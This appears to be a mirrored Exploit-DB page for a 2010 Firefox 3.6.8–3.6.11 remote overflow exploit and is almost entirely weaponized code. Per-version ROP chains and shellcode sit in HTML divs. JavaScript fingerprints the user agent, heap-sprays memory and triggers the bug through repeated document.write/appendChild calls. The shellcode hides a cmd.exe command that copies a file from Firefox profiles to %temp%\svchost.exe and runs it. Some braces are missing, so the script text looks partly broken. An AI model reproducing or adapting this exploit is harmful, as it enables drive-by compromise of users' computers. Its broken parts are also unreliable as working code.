Mozilla Firefox 3.6.8 < 3.6.11 - Interleaving 'document.write' / 'appendChild' Remote Overflow

Exploit Database
119 阅读

作者： anonymous

日期： 2010-10-29
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/15352/

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<!--

WARNING! This is exploit code from the wild.The original first 2 unicode chars at 'id=sun8' were ub8acu1029. Use, as always, at your own risk.

<body>

<div id=sun8>uccccuccccu0d00u0d0du0d00u102du1000u0d00u102du1000u102du1000u2853u1000u0011u0000u116cu1000u0300u7ffeub459u1002u6b99u1000ub333udeaduffffuffffu57a8u13e8u0000u0000u57a0u13e8u1000u0000u0040u0000u2853u1000u0001u0000u2853u1000u0000u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1af1u1000u57a8u13e8u116cu1000u57a8u13e8ub459u1002</div>

<div id=sun9>uef52u100auef52u100auef52u100auef52u100auef52u100auef52u100auef51u100au0011u0000u5500u1001u0300u7FFEud761u1004uff9cu1007uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000uef51u100au0001u0000uef51u100au0000u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001uce22u1003u57A8u0d78u5500u1001u57A8u0d78ud761u1004</div>

<div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u0011u0000u1FC7u1052u0300u7FFEuFD6Du1001uA173u1007uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u20F0u1011u0001u0000u20F0u1011u0000u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u9405u1003u57A8u0d78u1FC7u1052u57A8u0d78uFD6Du1001</div>

<div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEucda3u1000u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000</div>

<div id=suv>uEC81u0120u0000uFC8BuC783uC704u3207u9174uC70Cu0447u138EuAC0Au47C7u3908u7DE2uC783u0C47u65A0uCB97u47C7u9310uE432uC794u1447uD550uCB9Bu47C7u4318uACBEuC7DBu1C47u36B2u130Fu47C7uC420u1F8DuC774u2447u2F51u01A2u47C7u5728u0D66uC7FFu2C47u879BuE58Bu47C7uED30uFFAFuC7B4u3447u19C2u014Bu47C7u7D38uA5F0uC79Au3C47u2BE4uC594u47C7uEC40u5F9DuC7A4u4447uD680u9AAFu8DE9u0000u3300u64C0u30A1u0000u8B00u0C40u408Bu8B14u8B00u8B00u1040uE88BuF78Bu116AuE859u0027u0000uF9E2u6DEBu8B5Bu6AEEu5300u55FFu6424u00A1u0000uC700u0440u0000u0000u00C7u0000u0000u00B8u0000uFF00u51E0u8B56u3C75u748Bu782EuF503u8B56u2076uF503uC933u4149u03ADu33C5u0FDBu10BEuD63Au0874uCBC1u0307u40DAuF1EBu1F3BuE775u8B5Eu245EuDD03u8B66u4B0Cu5E8Bu031Cu8BDDu8B04uC503u5EABuC359u6EE8uFFFFuE8FFuFF8EuFFFFu6D63u2E64u7865u2065u632Fu4620u524Fu2F20u2052u2522u5355u5245u5250u464Fu4C49u2545u4C5Cu636Fu6C61u5320u7465u6974u676Eu5C73u7041u6C70u6369u7461u6F69u206Eu6144u6174u4D5Cu7A6Fu6C69u616Cu465Cu7269u6665u786Fu505Cu6F72u6966u656Cu5C73u2022u6925u4920u204Eu2A28u2029u4F44u6920u2066u7E25u697Au6520u7571u2020u3834u3436u2030u6320u646Du652Eu6578u2F20u2063u6F63u7970u2220u6925u2022u2220u7425u6D65u2570u735Cu7663u6F68u7473u652Eu6578u2022u792Fu2620u2220u7425u6D65u2570u735Cu7663u6F68u7473u652Eu6578u0022uffffuffffuffffuffff</div>

</div>

<body>

function check(){

var temp="";

var user=navigator.userAgent.toLowerCase();

var a=user.indexOf("windows nt 6.1");

var b=user.indexOf("windows nt 6.0");

var c=user.indexOf("firefox/3.6.8");

var d=user.indexOf("firefox/3.6.9");

var e=user.indexOf("firefox/3.6.10");

var f=user.indexOf("firefox/3.6.11");

if(a==-1&&b==-1&&c!=-1&&d==-1&&e==-1&&f==-1){

temp="8";

}

else if(a==-1&&b==-1&&c==-1&&d!=-1&&e==-1&&f==-1){

temp="9";

}

else if(a==-1&&b==-1&&c==-1&&d==-1&&e!=-1&&f==-1){

temp="10";

}

else if(a==-1&&b==-1&&c==-1&&d==-1&&e==-1&&f!=-1){

temp="11";

}

else {

return temp="0";

}

return temp;

}

function de(su){

var i;var sun = "";

for (i = 0; i < su.length; i++){

sun += String.fromCharCode(parseInt(su[i], 16));

}

return unescape(sun);

}

function code(beastk){

var nop = "";

var len = beastk.length;

for (i = 0; i < len;) {

nop = nop + "m" + beastk.substring(i, i + 5);

i = i + 5;

}

nop = nop.split("m").toString();

var temp = new Array();

for (j = 0; j < nop.length; j++) {

if (nop.charCodeAt(j).toString(16) == "2c") {

temp.push("25");

}

else {

temp.push(nop.charCodeAt(j).toString(16));

}

return de(temp);

}

function getatts(str){

var cobj=document.createElement(str);

cobj.id="testcase";

document.body.appendChild(cobj);

var obj=document.getElementById("testcase");

var atts = new Array();

for(p in obj){

if(typeof(obj[p])=="string"){

atts.push(p);

}

document.body.removeChild(cobj);

return atts;

}

var ck=check();

var bk="mp.ojsyex5";

var array = new Array();

var ls = 0x100000-(bk.length*2+0x01020);

var b1 ="";//////////////////////111111111111111111111111111111

if (ck == "0") {

location.href = "about:blank";

}

else {

if(ck=="8"){

b1=code("u0d0du0d0d");

}

if(ck=="9"){

b1=code("uef52u100a");

}

if(ck=="10"){

b1=code("ub8b7u1029");

}

if(ck=="11"){

b1=code("u4bc8u1000");

}

var b = b1;

while (b.length < (0x85750 - 0x1000) / 2) {

b += b1

};

///////////////////////////////2222222222222222222

var sun="";

var sun8 = document.getElementById("sun8").innerHTML;

var sun9 = document.getElementById("sun9").innerHTML;

var sun10 = document.getElementById("sun10").innerHTML;

var sun11 = document.getElementById("sun11").innerHTML;

var suv = document.getElementById("suv").innerHTML;

if(ck=="8"){

sun=sun8;

}

if(ck=="9"){

sun=sun9;

}

if(ck=="10"){

sun=sun10;

}

if(ck=="11"){

sun=sun11;

}

b += code(sun + suv);

for (u = 0; u < 8; u++) {

b1 += b1;

}

while (b.length < ls) {

b += b1;

}

var lh = b.substring(0, ls / 2);

b = "";

for (i = 0; i < 0x200; i++) {

array[i] = lh + bk;

}

////////////////////////////////////333333333333

if(ck=="8"){

b1=code("ub8a7u1029");

}

if(ck=="9"){

b1=code("uab07u1006");

}

if(ck=="10"){

b1=code("u8247u1009");

}

if(ck=="11"){

b1=code("uf7e7u1017");

}

for (i = 0; i < 16; i++) {

b1 += b1;

}

b = b1;

while (b.length < ls) {

b += b1;

}

lh = b.substring(0, ls / 2);

b = "";

for (i = 0x200; i < 0x500; i++) {

array[i] = lh + bk;

}

var tags = new Array("audio", "a", "base");

for (inx = 0; inx < 0x8964; inx++)

for (i = 0; i < tags.length; i++) {

var atts = getatts(tags[i]);

for (j = 0; j < atts.length; j++) {

var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];

document.write(html);

}

</script>-->